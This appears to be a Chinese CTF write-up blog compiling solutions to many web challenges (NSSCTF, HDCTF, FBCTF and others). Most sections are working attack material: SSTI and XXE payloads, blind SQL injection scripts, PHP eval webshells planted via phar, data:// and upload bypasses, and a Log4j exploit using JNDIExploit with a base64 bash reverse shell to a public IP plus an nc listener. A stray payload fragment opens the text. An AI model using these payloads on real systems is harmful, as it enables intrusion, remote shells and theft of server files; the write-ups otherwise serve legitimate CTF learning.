calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[HDCTF 2023]YamiYami

三个按钮,一个个来

image-20240722190813787

读取,php伪协议直接读,读flga和app.py时有过滤

image-20240722190752517

image-20240722190930204

读取环境变量

1
http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ

image-20240722191042710

无疑是非预期解,这里要获取源码

urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的/要保留, 不能编码为%2F

因此,我们需要对/app/app.py进行二次编码,第一个/不能编码

得到

1
/%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39

image-20240722191557128

访问后得到源码

image-20240722191619330

然后就是熟悉的session伪造

首先找到secret生成方式

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

读mac

1
2
3
4
5
6
7
8
9
10
11
/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

image-20240722192346256

生成secret

1
2
3
4
5
import random

if __name__ == '__main__':
random.seed(0x0242ac02a812)
print(str(random.random() * 233))
1
207.12851557558668

image-20240722193916810

1
python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "62.6539852098"

image-20240722194312461

image-20240722195318126

image-20240722194615829

上传后通过/boogipop路由去访问响应文件即可

1
http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt

image-20240722200622404

[FBCTF 2019]rceservice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

两个点

  • preg_match绕过

%0a换行来绕过,preg_match只能匹配第一行

  • cat被过滤

/bin/cat进行绕过
再用json的格式封装起来

最终payload

1
2
3
{
%0a"cmd":"/bin/cat /home/rceservice/flag"%0a
}

[NISACTF 2022]bingdundun~

基础的phar反序列化

1
2
3
4
5
6
7
8
9
<?php
$payload = '<?php eval($_POST["1"]); ?>'; //一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("67.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>

image-20240723110949181

上传后直接访问对应的压缩进去的php即可

1
http://node5.anna.nssctf.cn:20355/?bingdundun=phar://0551e3d7f50fe9b53c54c885e264a5d1.zip/67

image-20240723111013991

image-20240723111109017

67是创建的时候压缩进去的,自动补全后缀

phar伪协议只认phar文件特征(stub等),后缀是给人看的,因此可以解析zip

[HUBUCTF 2022 新生赛]checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}

?>

考察一个点,布尔类型和非null值比较都等于true

1
2
3
4
5
6
<?php
$a = [
'username' => true,
'password' => true
];
echo serialize($a);

[HDCTF 2023]SearchMaster

Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)

标签:

1. {$smarty.version}

1
{$smarty.version}  #获取smarty的版本号

2.{php}{/php}

1
{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

3.{literal}

  • {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
  • 在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
  • 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
1
{literal}alert('xss');{/literal}

4.{if}{/if}

1
{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||or&&andis_array()等等,如:

1
{if is_array($array)}{/if}

还可以用来执行命令:

1
2
3
4
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

扫描发现composer.json,访问发现是smarty模板

image-20240723141451626

尝试进入注点东西

image-20240723142227510

image-20240723141901771

image-20240723142427767

image-20240723142444541

image-20240723142507129

[NCTF 2019]Fake XML cookbook

1.什么是xxe?

XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。

有点像SSRF

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。

2.什么是XML

XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。

参考例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>

1.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

1
<!DOCTYPE 根元素 [定义内容]>

2.内部实体声明

内部声明采用如下格式定义:

1
<!ENTITY 实体名 "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下

1
2
3
4
5
6
<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root

3.外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

1
2
3
<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

举个例子:

1
2
3
4
5
6
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

注意

举个例子:

1
2
3
4
5
6
7
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>

xxe.dtd 内容如下:

1
<!ENTITY evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

普通实体和外部实体的差别:

作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。

回到题目,抓包发现可能存在xxe

image-20240724153830857

exp

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123</password></user>
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>

[HNCTF 2022 WEEK2]easy_unser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php 
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
1
shell_exec()
  • shell_exec()是一个内置的PHP函数,用于执行一个shell命令。这个函数会等待命令执行完毕,并返回命令的完整输出作为字符串。如果命令执行失败或没有输出,它将返回空字符串。

  • 使用示例:

    1
    2
    $output = shell_exec('ls -l');
    echo $output;

由于没有相关打印的函数,因此可以直接写入文件读取

exp

1
2
ls /> 1.txt
cat /fl*> 2.txt

[第五空间 2021]yet_another_mysql_injection

提示/?source

找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

没有过滤like,可以尝试like报错注入,%是一个通配符,表示任意数量的任意字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://node4.anna.nssctf.cn:28612'

paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag = ""
for i in paylaod_list:
data = {
'username': 'admin',
'password': f"1'/**/or/**/password/**/like/**/'{i}%'#",
}

re = requests.post(url,data = data)
print(f"i={i} {re.text}")

image-20240724210724412

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
url = 'http://node4.anna.nssctf.cn:28612'

paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"
flag = ""
for m in range(40):
for i in paylaod_list:
data = {
'username': 'admin',
'password': f"1'/**/or/**/password/**/like/**/'{flag}{i}%'#",
}

re = requests.post(url,data = data)
time.sleep(0.1)
if 'wrong password' in re.text:
flag += i
print(flag)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time
import requests

url = 'http://node4.anna.nssctf.cn:28612'
flag = ''
zifu="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
print(zifu)
while True:
for i in zifu:
data={
"username": "admin",
"password": f"1'or/**/password/**/like/**/'{flag+i}%'#"
}
res = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in res.text:
flag+=i
print(flag)
break
else:
pass

image-20240724212618274

[NSSRound#13 Basic]flask?jwt?

注册账号进去拿flag

image-20240727210036935

忘记密码处有secretkey

1
<!-- secretkey: th3f1askisfunny -->

image-20240727210155883

image-20240727210408582

直接拿去解密

1
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBd_O7DwQZMlonAgNqv07yq7t5IneDuU45ccT7L_l5XPMrx8rKX0ZVhcDK1FAgCaBLYK_lskDMMJ4ZvDFWydUBB28CmW3LL2kRJtM9qJoiJZAQdYPTgUNdpLIQ-whSpsjM3F8esyqY3wLOWO3Kdsf4bKN8frIcvsQ.ZqTwRQ.gQDifRFlzKt9DirA8xhKUx8c45E"

image-20240727210430001

得到

1
{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '2'}

修改一下,admin的id属性直接盲猜1

1
{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}

payload

1
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}"

image-20240727210937825

替换cookie拿flag

image-20240727211017752

登陆就有flag

1
'^0#

空异或0会查到所有非数字开头的记录

引号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等

Log4j复现

前置知识
LDAP
轻量级的目录搜寻协议,提供目录服务

JNDI
Java的一个接口,JNDI避免了程序与数据库之间的紧耦合

我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器

dnslog
A记录:Address 域名对应的IP地址

https://www.cnblogs.com/sunny11/p/14399420.html

image-20240807192941789

PAYLOAD

1
${jndi:ldap://r0303l.dnslog.cn}

image-20240807193103537

存在相关漏洞

image-20240807193111668

log4j会记录数据包的一些内容(比如url、cookie等等),此外,他还拥有一定数据分析处理能力,这种能力能够简化程序员的开发,但同时也带来了log4j的这个漏洞。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
[root@iZbp1cdkjx3v4aulod8zk9Z yiyi]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help

[root@iZbp1cdkjx3v4aulod8zk9Z yiyi]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/[cmd]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/Basic/TomcatEcho
ldap://null:1389/Basic/SpringEcho
ldap://null:1389/Basic/WeblogicEcho
ldap://null:1389/Basic/TomcatMemshell1
ldap://null:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://null:1389/Basic/JettyMemshell
ldap://null:1389/Basic/WeblogicMemshell1
ldap://null:1389/Basic/WeblogicMemshell2
ldap://null:1389/Basic/JBossMemshell
ldap://null:1389/Basic/WebsphereMemshell
ldap://null:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://null:1389/Deserialization/URLDNS/[domain]
ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://null:1389/Deserialization/C3P0/SpringEcho
ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells

[+] TomcatBypass Queries
ldap://null:1389/TomcatBypass/Dnslog/[domain]
ldap://null:1389/TomcatBypass/Command/[cmd]
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/TomcatBypass/TomcatEcho
ldap://null:1389/TomcatBypass/SpringEcho
ldap://null:1389/TomcatBypass/TomcatMemshell1
ldap://null:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://null:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
ldap://null:1389/GroovyBypass/Command/[cmd]
ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
ldap://null:1389/WebsphereBypass/List/file=[file or directory]
ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
[root@iZbp1cdkjx3v4aulod8zk9Z yiyi]#

先将反弹shell的命令base64编码,然后将里面的+号和=号进行一次url编码

注:IP填vps公网ip,PORT要和nc监听的端口对应

1
2
3
4
bash -i >& /dev/tcp/IP/PORT 0>&1
bash -i >& /dev/tcp/101.37.27.18/4444 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx
# => YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx

然后启动JNDIExploit

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 101.37.27.18 -l 1389 -p 8180

用nc监听端口

1
nc -lvnp 4444

payload

1
${jndi:ldap://101.37.27.18:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx}

终端1

image-20240807201100972

终端2

image-20240807201111841

image-20240807201133456

击剑杯-近在眼前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3

from flask import Flask, render_template_string, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["10000 per hour"]
)


@limiter.limit("5/second", override_defaults=True)
@app.route('/')
def index():
return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e")%open(__file__).read()


@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
flag = open("/app/flag.txt", 'r').read().strip()
if "input" in request.args:
query = request.args["input"]
render_template_string(query)
return "Thank you for your input."
return "No input found."


app.run('0.0.0.0', 80)

发现Flask 应用的 check 路由存在安全漏洞:

1
2
3
4
5
6
7
8
9
@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
flag = open("/app/flag.txt", 'r').read().strip()
if "input" in request.args:
query = request.args["input"]
render_template_string(query) # 此处存在 SSTI 漏洞
return "Thank you for your input."
return "No input found."

render_template_string(query) 函数直接渲染了用户提供的输入(query),导致存在 SSTI 漏洞。

render_template_string 是 Flask 提供的一个函数,用于将模板字符串渲染为最终的 HTML 输出。它类似于 render_template,但区别在于 render_template 是从文件系统加载模板文件,而 render_template_string 是直接渲染传递给它的字符串。

render_template_string 的工作原理

render_template_string 会将传递给它的模板字符串与上下文变量进行结合,然后使用 Jinja2 模板引擎来渲染字符串并生成最终的 HTML 输出。例如:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template_string,request

app = Flask(__name__)

@app.route('/greet')
def greet():
name = "Alice"
name = request.args["input"]
template = "Hello, {{ name }}!"
return render_template_string(template, name=name)

app.run()

在这个例子中,render_template_string 函数将字符串 "Hello, {{ name }}!" 与上下文变量 name 结合

image-20240807225003690

如何导致 SSTI 漏洞

当用户输入直接传递给 render_template_string 而不进行任何过滤或验证时,就可能引发服务器端模板注入(SSTI)漏洞。例如:

1
2
3
4
5
6
7
8
9
10
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/ssti')
def ssti():
user_input = request.args.get('input', '')
return render_template_string(user_input)

app.run()

在这个例子中,user_input 直接来自用户请求参数,并被传递给 render_template_string。如果用户传递一个恶意的模板表达式作为输入,就可能导致任意代码执行:

1
http://example.com/ssti?input={{ 7*7 }}

这种请求会导致 Flask 渲染模板字符串 {{ 7*7 }},并返回结果 49

image-20240807225109328

更严重的例子:

1
http://example.com/ssti?input={{ "__import__('os').popen('ls').read()" }}

这个请求利用了 Jinja2 模板的强大功能,调用 Python 的内置函数执行系统命令,可能会暴露服务器的文件系统信息或执行任意代码。

防御措施

为了防止 SSTI 漏洞,应避免直接渲染用户输入的字符串。可以采取以下措施:

  1. 输入验证和清理:对用户输入进行严格的验证和清理。
  2. 避免直接渲染用户输入:尽量不要将用户输入直接传递给 render_template_string
  3. 使用沙箱环境:如果必须渲染用户提供的模板,考虑使用沙箱环境来限制模板的功能。

例子:

防止 SSTI 的一种方法是将用户输入进行转义,确保用户输入不会被解析为模板表达式:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string, request, escape

app = Flask(__name__)

@app.route('/safe_ssti')
def safe_ssti():
user_input = request.args.get('input', '')
safe_input = escape(user_input)
return render_template_string("User input: {{ input }}", input=safe_input)

app.run()

在这个例子中,escape 函数对用户输入进行了转义,确保它作为普通字符串而不是模板表达式进行渲染。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests as req
import time

char_set = "1234567890abcdef-"
sess = req.session()
flag = {}
for i in range(1, 46):
for c in char_set:
url = r"""http://045c5218-6cbf-40a3-a131-718130bef6d9.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % (i, c)
time.sleep(0.2)
resp = sess.get(url)
if resp.elapsed.seconds >= 2:
print(c, end='')
flag[i] = c
print(flag)

单身杯web签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
if(strrev($file)==$file){
include $file;
}

}

data协议后,php标记?>闭合后可以加任意字符。

image-20240807231322397

到这里就可以看到php代码已经执行,后面的已经被?>所截断

image-20240807231420222

exp

1
file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('nl /f1agaaa');

image-20240807231459137

[GHCTF 2024]PermissionDenied

题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}
12345678910111213141516171819202122232425

file_put_content函数有一个文件解析的漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

123.php内容

1
<?php eval($_POST[0]);phpinfo();?>

脚本

1
2
3
4
5
6
7
8
import requests

url = "http://node5.anna.nssctf.cn:25045/"
file = {
"file":("123.php%2f.",open('123.php','r'))
}
res = requests.post(url=url,files=file).text
print(res)

image-20240817140038899

给你shell

image-20240817214950410

image-20240817215000531

1
